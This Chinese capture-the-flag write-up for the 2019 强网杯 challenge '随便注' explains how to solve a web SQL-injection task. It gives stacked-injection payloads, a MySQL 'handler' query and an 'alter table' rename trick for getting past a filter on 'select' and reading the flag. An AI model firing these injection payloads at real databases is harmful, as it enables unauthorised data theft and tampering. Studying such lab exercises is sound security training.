[强网杯 2019]随便注
[强网杯 2019]随便注
解题步骤
测试注入点
利用引号 ' 判断是否报错,和数学计算如 2-1 之类的判断是字符型还是数字型1' 报错,基本能判断是字符型

1'# 正常回显
从报错中还能判断是使用单引号闭合,加上注释回显正常则说明存在sql注入
届时我们先尝试一下union联合注入
先试用order by语句查询表的列数
1' order by 1;# 正常回显
1' order by 2;# 正常回显
1' order by 3;# 报错
到3报错说明表有两列,接下来使用select来查询库,表,字段
1'union select 1,database()#

发现过滤许多关键字:/select|update|delete|drop|insert|where|\.而且不区分大小写
select被禁,导致联合查询,布尔,时间盲注,报错注入都无法使用,剩下就堆叠注入能用
先尝试使用堆叠注入:
1';show database;#

发现正常回显则说明是可以使用的
接下来查看当前库下的所有数据表
1'; show tables;

分辨有两个表,1919810931114514和words,就近原则先查1919810931114514
1';show columns from `1919810931114514`;#
1';show columns from words;#
注意:数据表为数字的时候需要用反引号括起来
小提示:这题输入框输入进去会被编码成url编码,如果把符号替换成url编码会被再编码一次,导致语句无法使用

发现flag字段,但接下来查字段下的值就需要使用到select,而select被过滤了,所以无法直接获取flag,这里有几个思路可以使用
第一个方法
使用handle语句来获取,这是mysql特有的语句非sql原有,它可以逐行查看表里的数据,handler通常在 select 被过滤后可以使用这条命令,类似selecthandler table open; // 打开表
handler table read; // 阅读表
handler table read first; // 查看第一个
handler table read next; // 查看下一个表
handler table close; // 关闭表
这里直接构造payload拿下flag
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;

第二种方法
使用 1';show columns from words;# 查询words表时发现是有两个字段的
在输入框里输入数字会有回显数据,这边猜测应该就是查询id,默认显示的应该就是words表,这时我的大胆猜测一下后端代码
后端的sql语句可能是select * from words where id=
因此可以得到一个思路,我们把words表随便改成一个名字如test,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果
修改表名:alter table 旧表名 rename to 新表名;
修改字段:alter table 表名 change 旧字段名 新字段名 新数据类型
1'; alter table words rename to test;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
接着我们使用or绕过直接获取flag
1' or 1 = 1 #


浙公网安备 33010602011771号